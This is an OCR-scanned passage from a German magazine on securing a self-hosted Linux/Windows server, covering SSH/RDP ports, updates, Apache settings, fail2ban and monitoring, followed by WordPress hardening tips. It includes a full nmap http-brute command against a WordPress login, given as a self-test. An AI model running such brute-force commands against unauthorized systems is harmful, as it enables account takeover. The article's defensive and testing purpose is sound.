(PermitRootLogin no) oder das nur für Logins zu 
gestatten, die mit einer command-Option ge- 
schützt sind (PermitRootLogin forced-commands-only). 

Windows-Admins müssen sich, was die 
Anmeldung aus der Ferne angeht, mit weni- 
ger Optionen bescheiden, wenn Sie dazu 
nicht auf SSH ausweichen wollen. Der Win- 
dows-eigene entfernte GUI-Zugriff per Re- 
mote Desktop Protokoll (RDP) lässt sich ähn- 
lich wie SSH auf einem vom Standard (3389) 
abweichenden Port betreiben. Der steht in 
der Registry unter HKLM\System\Current- 
ControlSet\Control\TerminalServer\WinSta- 
tions\RDP-tcp\PortNumber. Alle gängigen 
RDP-Clients akzeptieren die Port-Nummer als 
Anhängsel des Rechnernamens, mit dem 
sie sich verbinden sollen; so wird aus mein- 
server.example.com dann meinserver.exam- 
ple.com:30303. 

Wichtig: Das Ausweichen auf einen ande- 
ren Port verhindert keine Angriffe, es redu- 
ziert vor allem das Rauschen in den Log-Da- 


Der Log-Eintrag „BREAK-IN ATTEMPT” 
klingt dramatischer als es ist, denn 
noch ist nichts passiert. Er zeigt aber 
deutlich das Anfrageaufkommen: 
Läuft SSH auf dem Standardporrt, ist 
auf einem Server mit einem Bein im 
Internet immer etwas los. 
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„) Remotedesktopverbindung 


Allgemein | Anzeige | Lokale Ressourcen | Programme | Leistung | Erweitert 


Anmeldeeinstellungen 
fi W Geben Sie den Namen des Remotecomputers ein 
I 


Computer: 


meinserver.example.com:54321| 


Benutzemame: 


Beim Herstellen der Verbindung werden Sie zum Eingeben von 
‚Anmeldeinformationen aufgefordert 


Speichem der Anmeldeinformationen zulassen 


Verbindungseinstellungen 


Speichem Sie die aktuellen Einstellungen in einer RDP-Datei, 
a oder öffnen Sie eine gespeicherte Verbindung. 
Öffnen... 


Speichem Speichem unter... 


=, Optionen ausblen... 


Auch öffentlich betriebene Windows- 
Server kann man durch Ändern des 
Ports, auf dem der RDP-Server lauscht, 
aus der Schusslinie nehmen. Viele Clients 
akzeptieren eine Port-Nummer für den 
Verbindungsaufbau. 


teien, das automatisierte Anmeldeversuche 
produzieren. Gelegenheitseinbrecher ziehen 
weiter, weil sie auf Port 22 nichts sehen. Wer 
sich für einen Server detaillierter interessiert, 
findet einen aktiven SSH-Server auch auf 
Port 65536 - er nimmt sich halt Zeit und rüt- 
telt an jedem Fenster. Der geänderte Port hat 
aber selbst dann noch einen Vorteil, nämlich 
dass man solche Aktivitäten leichter in den 
Log-Dateien erkennt. 

Während sich Administratoren auf andere 
Ports einstellen können, gelingt das den Nut- 
zern und vor allem vielen Anwendungen 
schlecht oder gar nicht: Ein E-Mail-Server, der 
Nachrichten nur auf ungewöhnlichen Ports 
annimmt, ergibt eher selten Sinn. Ein Blog, 
das nur über Port 9123 zu erreichen ist, fin- 
det wenige Leser. Trotzdem sollte man nicht 
alle Vorsicht fahren lassen. Alle Dienste, bei 


denen Anmeldedaten übertragen werden, 
sollten ausschließlich verschlüsselt erreich- 
bar sein. Das hindert unerfahrene Nutzer 
daran, versehentlich unverschlüsselt auf das 
Angebot zuzugreifen. 

Wie viel Aufwand man in die nötigen 
Zertifikate steckt, hängt von der eigenen 
Paranoia ab: Wer verhindern will, dass 
Guck & Horch mitschneidet, baut am besten 
eine eigene CA auf und verwendet nur Zerti- 
fikate aus eigenem Anbau. Der sollte dann 
aber mit kostenlos im Web verfügbaren Tests 
wie [1] prüfen, ob er sich anderswo Krypto- 
lücken einhandelt. Wem es nur darum geht, 
Dritten nicht fahrlässig Anmeldedaten in die 
Hände zu spielen, und Nutzer nicht wider 
besseres Wissen überreden will, Selbst- 
signiertes zu akzeptieren, kann sich auch der 
kostenlos erhältlichen Zertifikate bedienen - 
eine Anleitung für StartSSL finden Sie auf 
unseren Web-Seiten [2]. 


Pflegen 


Für die langfristige Pflege eines Servers ist es 
enorm nützlich, wenn der seinen Betreuer 
mit Nachrichten versorgen kann, etwa wenn 
eine Festplatte zickt, ein Update klemmt 
oder andere Dinge vorgehen. E-Mail bietet 
sich dafür an. Dazu sind mehrere Dinge 
nötig: auf dem Server eine Funktion, um 
Nachrichten zu verschicken, eine E-Mail- 
Adresse für den Empfang dieser Nachrichten, 
die auch benutzbar ist, wenn der Server aus 
dem letzten Loch pfeift, und meist auch ein 
Vermittler, der die Nachrichten annimmt, 
ausliefert oder zum Lesen bereithält. 

Um Nachrichten zu verschicken, braucht 
es auf dem Server keinen ausgewachsenen 
E-Mail-Dienst, aber etwas mehr als ein Skript, 
das E-Mails irgendwo abladen kann, ist nütz- 
lich: Viele Vorgänge auf einem Server gene- 
rieren Mails, die nützlich, aber nicht zwangs- 
läufig sauber adressiert sind. Minimal-Mailer 
für Linux wie Nullmailer oder Ssmtp fangen 
das ab, indem sie unvollständige Adressen 
auf einen bestimmten Empfänger umschrei- 
ben. Außerdem können Sie Mail bei einem 


(Rechts-)JRisiken des eigenen Servers 


SMTP-Server auch mit Authentifizierung ein- 
liefern. Indem Nullmailer Mails in einer War- 
teschlange für spätere Zustellversuche la- 
gert, überbrückt er sogar Netzaussetzer. 

Als Empfänger eignet sich eigentlich jede 
E-Mail-Adresse. In vielen Fällen ist eine sol- 
che bei einem kostenlosen Mail-Anbieter die 
beste Wahl: Sie ist unabhängig davon, ob der 
eigene Server läuft. Meist kann man eine 
Weiterleitung einrichten, die alles an die re- 
guläre Adresse weiterschickt - wenn die aber 
klemmt, kann man per Web-Interface immer 
noch lesen, was los ist und gegebenenfalls 
auch auf Beschwerden reagieren. 

Wie es um die Sicherheit eines Servers be- 
stellt ist, hängt auch davon ab, ob er regel- 
mäßig mit sicherheitsrelevanten Updates 
versorgt wird. Dabei kann man es sich leicht 
oder schwer machen. Leicht heißt im Zwei- 
felsfall, dass man Software ausschließlich 
über die systemeigenen Mechanismen, bei 
Linux die Paketverwaltung, installiert und 
dass das automatisch geschieht, zum Bei- 
spiel wie in c't 2/2010 vorgeschlagen [3]. 
Man mag dabei Gefahr laufen, dass ein Up- 
date zu Funktionsstörungen führt, doch das 
ist allemal besser, als Störungen zu beseiti- 
gen, die ein Eindringling verursacht hat. 
Idealerweise schickt die Update-Automatik 
regelmäßig E-Mails über ihre Aktivitäten. 

Es sich schwer machen bedeutet, dass sich 
Updates nur durch aktives Handeln des Sys- 
tembetreuers überhaupt anwenden lassen. 
Wer sich darauf einlässt, kommt nicht umhin, 
den aktuellen Entwicklungen der Software 
minutiös zu folgen, um Update-Bedarf umge- 
hend zu erkennen. Taten müssen unmittelbar 
folgen. Manche Software beherbergt eigene 
Update-Mechanismen, etwa viele PHP-basier- 
te Web-Anwendungen wie Owncloud, Word- 
press und so weiter - die sind in jedem Fall 
eine bessere Wahl als ein manuelles Update 
durch den Systemverwalter. 

Ob die anwendungsspezifischen Updates 
denen vorzuziehen sind, die über die Up- 
date-Mechanismen und Paketverwaltung 
der Distribution erhältlich sind, ist individuell 
zu entscheiden: Wer aktuellere Versionen 


Gegen einen Server-Betreiber, dessen System von anderen miss- 
braucht wird, können sich in der Praxis allenfalls zivilrechtliche Un- 
terlassungs- und Schadenersatzansprüche von Geschädigten rich- 
ten; strafrechtlich relevantes Handeln müsste absichtlich gesche- 
hen. Ältere Urteile dazu betrafen Kosten durch erhöhten Traffic. 
Dort liegt aber im Zeitalter von Botnetz-Attacken und verbreiteten 
Pauschalverträgen ohne verbrauchsabhängige Vergütung nicht 
mehr das entscheidende Problem. 


Wenn der eigene Server für ein Botnetz rekrutiert wurde, wird der 
Geschädigte oder dessen Provider versuchen, den Angriff abzu- 
wehren, und im Zweifelsfall über die Abuse-Abteilung des Hosters 
intervenieren. Der wird seinerseits dann vom Server-Betreiber ver- 
langen, dass der weiteren Missbrauch unterbindet - oft verbun- 
den mit der Bitte, eine Stellungnahme zu den Vorwürfen abzuge- 
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ben. Dabei herrscht in der Regel sachlicher Ton vor und oftmals 
ein geradezu konstruktives Klima. Wer indes auf Durchzug schaltet 
und derlei ignoriert, muss damit rechnen, dass der Vermieter ir- 
gendwann den Stecker zieht. 


In Root-Server-Foren wird gern der Fall konstruiert, dass der Ange- 
griffene Schadenersatz für die anfallende Arbeit eines Admins zur 
Abwehr und eventuelle Umsatzeinbußen gelten machen könnte. 
Andererseits ist auch dieser Betreiber eines Internet-Angebots 
dazu verpflichtet, sein System sorgfältig zu betreuen und gegebe- 
nenfalls vor derlei Unbilden zu schützen - wenn er nicht in der 
Lage ist, einen einfachen Angreifer abzuwehren, sind daran be- 
rechtigte Zweifel angebracht. Deshalb: Wer Sorgfalt walten lässt, 
nicht leichtfertig Dritte auf sein System lässt und zeitnah bei Pro- 
blemen reagiert, dürfte unterm Strich wenig zu befürchten haben. 
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braucht, als die Paketverwaltung hergibt, hat 
keine Wahl. Das Gleiche gilt, wenn Kompo- 
nenten, etwa Plug-ins gefragt sind, die nicht 
im offiziellen Paketdepot zu haben sind und 
sich auch keine andere, über die distribu- 
tionsspezifischen Update-Mechanismen zu- 
gängliche Quelle dafür findet. 

Sich für die offiziellen Distributionspakete 
und Updates zu entscheiden, heißt oft, mit 
älteren Versionen vorliebzunehmen. Die 
alten Versionen gehen dann aber nicht zu 
Lasten der Sicherheit, denn die Distributio- 
nen unterhalten eigene Security-Teams für 
den stabilen Zweig. Sie kümmern sich 
darum, dass Sicherheitskorrekturen an die 
dort enthaltenen älteren Versionen ange- 
passt und über die Update-Mechanismen 
verteilt werden. 


Ausmisten & Fallen meiden 


Wichtig ist auch regelmäßiges Ausmisten. 
Das beginnt damit, überflüssige Paketreste 
zu entsorgen (apt-get purge und apt-get autoclean 
in Debian-Systemen). Dazu gehört auch, Da- 
teirechte möglichst eng zu halten, wichtige 
Schlüssel, Konfigurationsdateien oder auch 
Notizen sollte nur der Benutzer root über- 
haupt einsehen und bearbeiten können. 
Eine große Gefahr geht von mal eben ver- 
suchsweise verdrehten Rechten oder als Ad- 


ministrationshilfe installierter Software aus - 
sofern man sie nicht mit weiteren Schutz- 
maßnahmen wie .htaccess und ungewöhn- 
liche Port-Adressen aus der Schusslinie 
nimmt. phpMyAdmin zur Verwaltung von 
MySQL mag praktisch sein, auf einem öffent- 
lich laufenden Server ist es ein Risiko, ebenso 
wie Webmin - beide sind die ersten Ziele, die 
Skript-Kiddies ansteuern. 

Stets einer kritischen Prüfung sollten Sie 
auch die aktiven Apache-Module unterzie- 
hen: Nur die unbedingt nötigen sollten aktiv 
sein. Mit apachectl -t -D DUMP_MODULES erhalten 
Sie eine Liste; mit „static” markierte Module 
sind nicht deaktivierbar, weil schon beim 
Übersetzen in den Webserver eingebaut. Die 
meisten Distributionen liefert mit a2dismod 
und a2enmod hilfreiche Skripte für die Admi- 
nistration. Ähnliche Hilfestellung gibt es dort 
mit php5dismod und php5enmod für den 
Umgang mit PHP-Erweiterungen - auch hier 
gilt: Abschalten, was nicht benötigt wird. 

In der Web-Server-Konfiguration sollten 
die Options-Statements nur im Bedarfsfall 
und allenfalls für einzelne virtuelle Hosts In- 
dexes und FollowSymLinks enhalten. Poten- 
zielle Einbrecher könnten darüber sonst Ein- 
blick in Strukturen erhalten, die man ihnen 
besser vorenthält. Apropos Vorenthalten: Es 
ist generell keine schlechte Idee, konkrete 
Versionsnummern zu verstecken: Steht Server- 
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Tokens Prod in seiner Konfigurationsdatei, ver- 
rät Apache nicht mehr freimütig, wie alt er 
ist. ServerSignature Off lässt ihn auch Informatio- 
nen zum Betriebssystem verschweigen. 

Der Vollständigkeit halber noch ein paar 
grundlegende Weisheiten, die von heute 
gängigen Distributionen durchweg beachtet 
werden: Ein Web-Server sollte nie mit root- 
Rechten laufen, sondern ein Konto verwen- 
den, das deutlich weniger Rechte hat (oft 
www-data oder apache). Ein Datenbank-Ser- 
ver sollte nur Verbindungen von innen, also 
auf localhost entgegennehmen. Wenn es die 
Architektur anders verlangt, helfen Firewall- 
Regeln, unerwünschte Nutzer fernzuhalten. 


Überwachen & Dokumentieren 


Linux führt genau Buch über viele wichtige 
Vorgänge und schreibt sie in die verschiede- 
nen log-Dateien. So kann man bei Proble- 
men Ursachenforschung betreiben. Für die 
tägliche Routine eines Systemverwalters eig- 
nen sich diese Dateien wenig. Um sie regel- 
mäßig auf Besonderheiten zu untersuchen, 
gibt es zahlreiche Werkzeuge. Eines davon ist 
Logwatch, das die Informationen in den Log- 
Dateien über einen bestimmten Zeitraum 
zusammenfasst und auf Wunsch beispiels- 
weise per E-Mail versendet. Ein Blick in diese 
Zusammenfassung zeigt bei Unregelmäßig- 
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keiten oft erste Hinweise - mehr zu Log- 
watch ab Seite 116. 

Einen Schritt weiter geht fail2ban. Als ein- 
faches Intrusion Detection System (IDS) ana- 
Iysiert es die Log-Dateien auf fehlgeschlagene 
Anmeldeversuche, mit einem Fehler abge- 
schlossene Aufrufe von Skriptdateien auf dem 
Web-Server oder Versuche, beim Mail-Server 
Nachrichten für nicht lokale Empfänger abzu- 
laden. Treten solche Einträge gehäuft ausge- 
hend von einzelnen IP-Adressen auf, kann 
fail2ban daraus eine Regel für die Linux-eige- 
ne Firewall erstellen, die entsprechende Zu- 
griffe schon auf Netzwerkebene ablehnt. Die 
Regeln bleiben für einen einstellbaren Zeit- 
raum aktiv. 

Die Inbetriebnahme von fail2ban ist ein- 
fach. Es bringt für die gängigen Fälle schon 
fertig konfigurierte Filter mit (meist in 
/etc/fail2ban/filter.d). Die beschreiben einen 
oder mehrere reguläre Ausdrücke für Log- 
Dateien. Die werden in der Konfigurations- 
datei jail.conf mit einer Aktion (meist in 
/etc/fail2ban/action.d) und einer Log-Datei 
zu einem sogenannten Jail verbunden. Ein 
Jail, der das Durchprobieren von Skripten un- 
terbinden soll, kann dann so aussehen: 


[apache-noscript] 

enabled = true 

port = http,https 

filter = apache-noscript 

logpath = /var/log/apache*/*error.log 
maxretry = 6 


Diese Variante hält in den Fehlerlogs des Apa- 
che-Webservers-Ausschau nach Skript-Kid- 
dies, die versuchen, gängige Skripte aufzuru- 
fen. Trifft es auf sechs solcher Versuche von 
einer IP-Adresse, leitet es Maßnahmen für Zu- 
griffe auf Port 80 (http) und 443 (https) ein. 
Welche Aktion (banaction) das ist, steht im 
[DEFAULT]-Jail (in jail.conf). Es ist meist eine 
Firewall-Regel, die die den Logs entnommene 
IP-Adresse für eine vorgegebene Zeit (ban- 
time) für weitere Zugriffe auf eben diese Ports 
sperrt (iptables-multiport). In vielen Distribu- 
tionen muss man gezielt die vorkonfigurier- 
ten Jails aktivieren, damit fail2ban aktiv wird. 

Dabei oder auch beim Konstruieren von 
neuen regulären Ausrücken für das Abgrasen 
der Log-Dateien hilft ein interaktiver Aufruf 
von fail2ban: fail2ban-regex "/var/log/apache2/ 
error.log" /etc/fail2ban/filter.d/apache-noscript.conf. So 
findet man schnell heraus, ob ein Ausdruck 
die nötigen Informationen zu greifen be- 
kommt oder nicht. Klappt es partout nicht, 
passt vielleicht das Log-Dateiformat nicht. 
Apache kennt mehrere Varianten: Während 
logwatch „combined“ bevorzugt, liebt 
fail2ban in Debian das „common“-Format. 
Hier helfen schlicht mehrere LogFile-Anwei- 
sungen in der Apache-Konfiguration aus der 
Patsche; passende Regeln für Logrotate soll- 
te man obendrein erstellen, damit die Platte 
nicht zuwuchert. 

Auskunft über die Aktivitäten von fail2ban 
liefert wieder eine eigene Log-Datei oder in- 
teraktiv per fail2ban-client. Mit fail2ban-client 
status erfährt man, welche Jails aktiv sind. 
Einen Überblick über die Aktivitäten in 
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Mit fail2ban unerwünschte 
Gäste abwimmeln 


Ungebetene Gäste, die mit höherer 
Frequenz Zugangsdaten durchprobieren, 
erkennt fail2ban und lässt nur die ersten 
Zugriffe überhaupt an die jeweiligen 
Dienste ran. Danach bleiben sie in der 
Firewall stecken. 


Server 


—— 
—— 


einem konkreten Jail erhält man, indem man 
den Namen hinten anhängt, etwa fail2ban- 
client status ssh. Weitere Befehle helfen Sperren 
aufzuheben. Man muss sich also nicht direkt 
an Firewall-Regeln zu schaffen machen. Wer 
Angst hat, sich selbst auszusperren, kann im 
Jail [DEFAULT] global IP-Adressen in einer 
Whitelist hinterlegen, die niemals gesperrt 
werden. Admins mit dynamischen IP-Adres- 
sen können solche Regeln mit fail2ban-client 
per cron-Job definieren; das gelingt für ein- 
zelne Jails, nicht jedoch für [DEFAULT], etwa 
mit fail2ban-client set ssh addignoreip “dig +short my- 
host.dyndns.org'. 

Das Schöne an fail2ban ist seine Schlicht- 
heit, geringe Abhängigkeit von konkreten 
Diensten und dadurch seine breite Anwend- 
barkeit. Es funktioniert dann gut, wenn ge- 
häuft Zugriffe von ein und demselben Ab- 
sender auftreten. Damit es solche erkennt, 
muss der jeweilige Dienst auch „ordentliche“ 
Log-Einträge generieren; fehlen dort die IP- 
Adressen, kann fail2ban nicht reagieren. 
Misstrauen gegenüber Log-Einträgen ist bei 
UDP-basierten Diensten angebracht: die Ab- 
senderadressen im Log müssen nicht den 
realen Absendern entsprechen. 

Für den Web-Server-Apache gibt es mit 
mod_evasive ein spezielles Modul, das etwas 
Ähnliches wie fail2ban tut; hier müsste man 
aber die Firewall-Regeln selbst implementie- 
ren. Sein Modul-Kollege mod_security ist eher 
für die Großwildjagd gedacht: Es rüstet Apa- 
che mit einer Application Level Firewall aus, 
die Anfragen daraufhin unterscheidet, ob sie 
schädlich sein können. Was schädlich ist, be- 
stimmt ein eigenes Regelwerk, das umfangrei- 
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ches Training für die gehosteten Anwendun- 
gen benötigt, wenn es wirklich gut funktionie- 
ren soll - das ist mehr als der durchschnittli- 
che Server-Betreiber wohl braucht und eben- 
falls beschränkt auf Apache. 

Die Log-Dateien, die von logwatch er- 
zeugten Zusammenfassungen und die E- 
Mails, die während des Einspielens von Up- 
dates entstehen, liegen idealerweise nicht 
nur auf dem Server selbst, sondern auch 
noch an einem anderen Ort. Sie können 
nützlich sein, um plötzlich auftretenden Stö- 
rungen nachzugehen, die sich durch Kom- 
plettaussetzer bemerkbar machen. Außer- 
dem könnten sie mal als Nachweis nötig 
sein, dass der Admin seiner Sorgfaltspflicht 
Genüge getan hat. Als Instrument, um vor 
aktuell laufenden Angriffen zu warnen oder 
Entwicklungen zu erkennen, die langfristig 
für Schäden sorgen, sind sie kaum geeignet. 

Idealerweise betreiben Sie zusätzlich ein 
Monitoring-System, das kontinuierlich wich- 
tige Betriebsparameter des Servers abfragt 
und aufzeichnet. Dafür eignen sich Nagios, 
sein Ableger Icinga oder das darauf aufbau- 
ende check_mk. Solche Software läuft sinn- 
vollerweise nicht auf dem Server selbst, son- 
dern einem anderen System. Nur so kann es 
überhaupt Alarme generieren, wenn auf 
dem Server etwas nicht stimmt, etwa der 
Web-Server unter Beschuss und der Haupt- 
speicher vollgelaufen ist. Das Monitoring- 
System schlägt dann Alarm und durch die 
von ihm aufgezeichneten Daten erhalten Sie 
einen ersten Eindruck, was los ist - mehr zur 
Überwachung ab Seite 120. 


Selbstkritik 


Trotz allem Bemühen um Sicherheit ist es 
wichtig, das eigene Handeln distanziert zu 
beurteilen. Oft verliert man wichtige Details 
aus den Augen. Alle Update-Installiererei 
nützt zum Beispiel nichts, wenn man die be- 
troffenen Dienste hinterher nicht neu startet: 
Debian liefert im Paket debian-goodies den 
Befehl checkrestart. Er ermittelt, welche Prozes- 
se noch Bibliotheken verwenden, die beim 
Update ersetzt worden sind. Zumindest die 
sicherheitsrelevanten sollten neu gestartet 
werden. 

Generell ist es unverzichtbar, getroffene 
Annahmen zu überprüfen: Wehrt eine neue 
Firewall-Regel wirklich Zugriffe auf den 
Dienst ab, für den sie eingerichtet wurde? 
Überlebt sie einen Systemneustart? Packen 
die fail2ban-Regeln rechtzeitig zu? Ist das 
Admin-Interface hinreichend per Authentifi- 
zierung durch den Web-Server geschützt 
(per .htaccess-Datei)? Gelingt der Zugriff auf 
die Dateien einer Web-Anwendung über 
einen anderen Virtual Host an Schutzmecha- 
nismen vorbei? Wie reagiert der Server auf 
hohe Last? Welche Prozesse laufen? An wel- 
chen TCP-Ports lauschen überhaupt Prozes- 
se? Sind noch Paketreste von Experimenten 
auf dem System? 

Mancher Test ist auch schon lokal nützlich. 
Mit Isof -i können Sie offene Netzwerkports 
und die daran lauschenden Prozesse ausge- 
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Kein un- 


Check_MK peter 


mittelbarer [4 


> | [+ es nttp: /Jagent/peter/check_mk/ 


Sicherheits- 
gewinn, aber 
nützlich, um 
außerge- 
wöhnliches 
Verhalten des 
Servers früh 
wahrzu- 
nehmen und 
bewerten 

zu können: 
Monitoring- 
Software wie 
Nagios & 
Konsorten 


ben lassen. Mit ps -ax prüfen Sie die Liste der 
laufenden Prozesse. Hilfreich ist ein zweites 
System, um Wunsch auf Wirklichkeit zu tes- 
ten. Umfangreiche Penetrationstestumge- 
bungen wie OpenVAS (eine freie Weiterent- 
wicklung von Nessus) sind dazu gar nicht 
nötig. Ein einfaches Tool wie nmap genügt 
schon. Das zeigt nicht nur an, welche Ports 
auf einem System auf Verbindungen von 
außen lauschen (nmap -v example.com), sondern 
kann viel mehr. 

Auf Wunsch führt nmap Skripte aus, mit 
denen man beispielsweise eine Brute-Force- 
Attacke gegen die Authentifizierung des 
Web-Servers fahren kann, etwa mit nmap -p 80 
--Script http-brute wordpress.example.com --script-args 
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CPU Utilization for mail 


CPU utilization % 


Average: MSysten 1.% 
Last: B System 0,7% 


Euser 10.% 
Buser 2.5 


Bmwait 4.% 
BWait 3.44% 
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0 State_Startingup 0 Last 0 Max 0 Average 
BD State_Waiting 9 Last 62 Max 9 Average 
MB State_Logging 0 Last 0 Max 0 Average 
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D State_Sending... 4 Last 5 Max 4 Average 
B State_Reading,,., 0 Last 40 Max l Average 
O State_Closing 0 Last 47 Max 1 Average 
EB State_Idlecle... 0 Last 0 Max 0 Average 
® State_Finishing 0 Last 0 Max 0 Average 
BE State_Keepalive oO Last 1 Max 0 Average 
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http-brute.path=/wp-login.php — sie zeigt auch 
gleich drastisch, warum schlichte Benutzer- 
namen und Passwörter grober Leichtsinn 
sind: In 70 Sekunden hat das Skript bei unse- 
ren Versuchen gültige Anmeldedaten ausge- 
worfen. 

Viele weitere Skripte, die anderen Diens- 
ten auf den Zahn fühlen, bringt nmap gleich 
mit (bei Debian in /usr/share/nmap/scripts/). 
Ein hilfreiches Werkzeug ist auch der Apa- 
che-eigene Benchmark (ab); mit seiner Hilfe 
lässt sich leicht Last auf einen Web-Server 
bringen, um die Abwehrmaßnahmen für An- 
griffe auf den Web-Server zu überprüfen. 

Manche Frage lässt sich nicht mit Werk- 
zeugen beantworten: Gibt es Dienste, die 


Wie wichtig 
sichere Pass- 
wörter und 
ungewöhnliche 
Benutzernamen 
sind, zeigen 
eindrucksvoll 
eigene Ex- 
perimente mit 
schwachen. 
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große Datenmengen annehmen und wieder 
ausspucken, wie zum Beispiel Owncloud? 
Dann mindert das Beschränken der maxima- 
len Größe von Uploads die Schäden. Sind 
Dienste aktiv, denen minimale Anfragen aus- 
schweifende Antworten entlocken, etwa ein 
offner DNS-Server? Hier helfen nur intensives 
Studium vorhandener Lücken sowie Empfeh- 
lungen für den jeweiligen Dienst und seine 
konkrete Implementierung. 

Zum Schluss noch ein wohlgemeinter Rat: 
Ein Server ist nur so sicher, wie der zur Ver- 
waltung des Servers benutzte PC. Die Pass- 
phrase Ihres SSH-Schlüssels sollten Sie dort 
nicht dauerhaft speichern, allenfalls einem 
SSH-Agenten, der die Eingabefrequenz redu- 
ziert, anvertrauen. Und selbst dann sind Sie 
nicht sicher: Ein Trojaner auf dem Admin-PC 
ist heute üblicherweise das Einfallstor selbst 
für gut geschützte Server. (ps) 
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Clemens Gleich 


Bot-Bremse 


Pragmatische Wordpress- 
Sicherheitstipps 


Wordpress macht Artikel-Posten 
einfacher als jedes andere CMS. 
Deshalb ist es weit verbreitet. Leider 
jedoch hat sich die Beliebtheit auch 

bei Skript-Kiddies und Gaunern 
herumgesprochen. Meiner Erfahrung 
nach helfen schon einfache Maß- 
nahmen wirksam gegen deren Treiben. 


er Wordpress-Benutzer hat wenig Zeit 

für oder Lust auf Technik und viel zu 
viele Wörter im Kopf, die schnell rausmüssen. 
So sind wir, so bin ich und deshalb bleiben 
zwangsläufig alle Tipps, die ich hier aus dem 
Alltag geben kann, bodenständig. Sie sind je- 
doch gerade deswegen einfach umzusetzen 
und trotzdem effektiv. 


Le Probleme 


Böse Menschen greifen Wordpress-Server 
vor allem aus zwei Ecken an: Entweder zielen 
sie auf einzelne Schwachpunkte, wie sie vor 
allem in Wordpress-Plug-ins auftreten; dage- 
gen hilft, möglichst wenige Plug-ins zu nut- 
zen und sie möglichst aktuell zu halten. Oder 
die Bösen starten gleich Brutalo-Angriffe auf 
den Wordpress-Login, um Administrator- 
Zugriff zu erlangen und dann zum Beispiel 
per Plug-in Software einzuschleusen oder 
gleich den ganzen Server zu übernehmen. 

Die Angreifer gehen simpel vor: Sie ver- 
suchen, sich unter typischen Administrator- 
Account-Namen einzuloggen, mit Probier- 
passwörtern aus einem Wörterbuch. Deshalb 
sollte jeder Wordpress-Eigentümer einen 
Admin-Account unter anderem Namen als 
„admin“ anlegen und den Default-Account 
löschen, falls es den noch aus der Vergan- 
genheit gibt. Neuere Installationen schlagen 
„admin“ nicht mal mehr vor, also sollten Sie 
auch nicht auf die Idee kommen. Viel besser 
als „admin“ ist zum Beispiel „patron“. 

Die Maßnahme dauert nur ein paar Sekun- 
den, hilft allerdings nicht gegen die Last, die 
die Attacke eines Botnetzes über das beim 
Wordpress-Login benutzte PHP-Skript auf 
einen Server bringt. Wenn Anfragen von ei- 
nigen zehntausend IP-Adressen auf die 
Login-Seite eines Blogs einprasseln, reißt auf 
einem kleineren Server schnell der Apache 
die Hufe in die Höhe. Auf meinem alten Miet- 
server lief das sogar auf einen Denial of Ser- 
vice raus, weil sein Hauptspeicher volllief. 

Mir wurden damals die üblichen Plug-ins 
empfohlen, die gegen solche Angriffe helfen 
sollen. Bei mir wirkten sie nicht. Ein Plug-in 
blockierte zum Beispiel eine IP für einen 
einstellbaren Zeitraum, wenn von ihr aus 
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binnen kurzer Zeit ständig Logins misslangen. 
Botnetz-Betreiber mit tausenden IP-Adressen 
lachen darüber. Zum Glück fahren sie not- 
wendigerweise einfach gestrickte, massen- 
kompatible Angriffe, sodass man mit einem 
einfachen Trick sowohl fremde Admin-Login- 
Versuche als auch Denial of Service-Attacken 
abwehren kann. 


Le Server 


Der Trick besteht darin, der eigentlichen An- 
meldeseite für den Wordpress-Administrator 
eine weitere vorzuschalten. Die stellt der 
Web-Server bereit, sodass die Angreifer 
gleich dort abprallen. Klingt umständlich, er- 
spart aber viel Aufwand, weil dafür nicht eine 
Zeile PHP-Code abgearbeitet werden muss. 

Für diesen Abprallschutz genügen Einträ- 
ge im Wordpress-Verzeichnis in der Datei 
‚htaccess, der Konfigurationsdatei, die dem 
Webserver Zugriffsregeln für Verzeichnisse 
oder Dateien vorgibt. Ich verwende Apache 
unter Debian GNU/Linux. Es reicht, wenn der 
Web-Server wp-login.php (und bei der Gele- 
genheit auch gleich wp-config.php) durch 
eine schlichte Passwortabfrage schützt: 


# ‚htaccess-Schranke 

<FilesMatch "(wp-config.phplwp-login.php)"> 
AuthName "HTAccess" 
AuthType Basic 
AuthUserFile /usr/share/wordpress/.htpasswd 
require valid-user 

</Files> 


Der Befehl htpasswd -c /usr/share/wordpress/.htpasswd 
patron erstellt eine Passwortdatei und hinter- 
legt für den Benutzer „patron” das abgefrag- 
te Passwort. „AuthType Basic“ heißt: Authen- 
tifizierung im Klartext. Für den Zweck des 
Botnetz-Frustrierens reicht das, solange Sie 
eine sichere HTTPS-Verbindung für die Admi- 
nistration verwenden. Ich verwende hier ein 
anderes Passwort als beim echten Login. 

Rufen Sie die Login-Seite von Wordpress 
auf. Wenn alles funktioniert, fragt der 
Browser ab jetzt nach Benutzer und Pass- 
wort. Diese kleine Maßnahme reicht, damit 
Admin-Rechte-suchende Botnetze üblicher 
Größe keinen Einfluss mehr auf die Server- 
Erreichbarkeit haben. 


Le Spam 


Das nächste große Wordpress-Realproblem 
nach aktiven Angriffen ist Kommentar-Spam. 
Manchmal kommt der in Wellen von tausen- 
den oder gar zehntausenden pro Tag. Solan- 
ge die Zugriffe in ausreichendem Abstand 
liegen, schaffen das Bayes-Netze-nutzende 
Spam-Filter wie Akismet (externe Datenbank 
im Ausland) oder Antispam Bee (lokale Da- 
tenbank) problemlos. Spammer füllen dann 
nur den Spam-Eimer. Leider verlangt jeder 
Spam-Eintrag auch einen Datenbankzugriff. 
Es kann also sein, dass große Spam-Wellen 
die Datenbank für den nötigen Schreib- 
zugriff blockieren und echte Seitenaufrufer 
deswegen warten müssen. 

Schon vor Jahren stellte Johannes 
Kretzschmar auf seinem kommentarstarken 
Comic-Weblog Beetlebum fest, dass sich 
Spam-Bots unfreiwillig outen: Sie füllen stets 
alle Felder aus, selbst dann, wenn eins dieser 
Felder für echte Besucher unsichtbar bleibt. 
Ich weiß nicht, ob Johannes der Erste mit die- 
ser Idee war oder ich es nur dort zum ersten 
Mal hörte, auf jeden Fall gibt es mittlerweile 
fertige Plug-ins dafür. 

Im Zuge meines laufenden Seiten-Neude- 
signs werde ich eines davon einsetzen, viel- 
leicht das nüchtern benamte „Anti-Spam“. 
Aus der Erfahrung eines Wordpress-Seiten- 
betreiberkollegen weiß ich, dass damit 
bei ihm fast kein Spam mehr bis zur Daten- 
bank durchdringt (durchschnittlich fünf pro 
Woche). Die mikroskopisch kleine Rest- 
menge verursacht im Bayes-Filter trotz Da- 
tenbank-Lock keine Lags für Besucher mehr. 
Ich hoffe sogar, dass ich künftig ganz ohne 
den Bayes-Filter auskomme. 

Grundsätzlich kann ich auch in Sachen 
Sicherheit Wordpress weiterempfehlen. Be- 
nutzer müssen sich nur damit abfinden, dass 
Wordpress wie Windows ist: das Iohnendste 
Ziel. Wo sich Nischensystembenutzer Lax- 
